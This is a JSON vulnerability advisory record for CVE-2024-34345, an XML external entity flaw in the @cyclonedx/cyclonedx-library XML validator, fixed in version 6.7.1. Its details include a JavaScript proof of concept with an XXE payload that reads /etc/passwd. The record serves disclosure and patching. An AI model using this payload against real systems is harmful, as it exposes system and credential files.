{"id":"CVE-2024-34345","aliases":["GHSA-38gf-rh2w-gmj7"],"url":"https://o3.security/vulnerability/CVE-2024-34345","summary":"@cyclonedx/cyclonedx-library Improper Restriction of XML External Entity Reference vulnerability","details":"### Impact\n\nXML External entity injections could be possible, when running the provided XML Validator on arbitrary input.\n\n#### POC\n\n```js\nconst {\n  Spec: { Version },\n  Validation: { XmlValidator }\n} = require('@cyclonedx/cyclonedx-library');\n\nconst version = Version.v1dot5;\nconst validator = new XmlValidator(version);\nconst input = `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE poc [\n  <!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n<bom xmlns=\"http://cyclonedx.org/schema/bom/1.5\">\n  <components>\n    <component type=\"library\">\n      <name>testing</name>\n      <version>1.337</version>\n      <licenses>\n        <license>\n          <id>&xxe;</id><!-- << XML external entity (XXE) injection -->\n        </license>\n      </licenses>\n    </component>\n  </components>\n</bom>`;\n\n// validating this forged(^) input might lead to unintended behaviour\n// for the fact that the XML external entity would be taken into account.\nvalidator.validate(input).then(ve => {\n  console.error('validation error', ve);\n});\n```\n\n### Patches\n\nThis issue was fixed in `@cyclonedx/cyclonedx-library@6.7.1 `.\n\n\n\n### Workarounds\n\nDo not run the provided XML validator on untrusted inputs.\n\n### References\n\n* issue was introduced via <https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063>.  \n","published":"2024-05-09T14:56:07.494Z","modified":"2026-08-12T03:51:37.513636672Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"@cyclonedx/cyclonedx-library","fixedVersion":"6.7.1"}],"fix":{"url":"https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203","label":"CycloneDX/cyclonedx-javascript-library@5e5e1e0"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/34xxx/CVE-2024-34345.json"},{"type":"ADVISORY","url":"https://github.com/CycloneDX/cyclonedx-javascript-library/security/advisories/GHSA-38gf-rh2w-gmj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34345"},{"type":"FIX","url":"https://github.com/CycloneDX/cyclonedx-javascript-library/commit/5e5e1e0b9422f47d2de81c7c4064b803a01e7203"},{"type":"FIX","url":"https://github.com/CycloneDX/cyclonedx-javascript-library/pull/1063"},{"type":"PACKAGE","url":"https://github.com/CycloneDX/cyclonedx-javascript-library"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:37.513636672Z"}}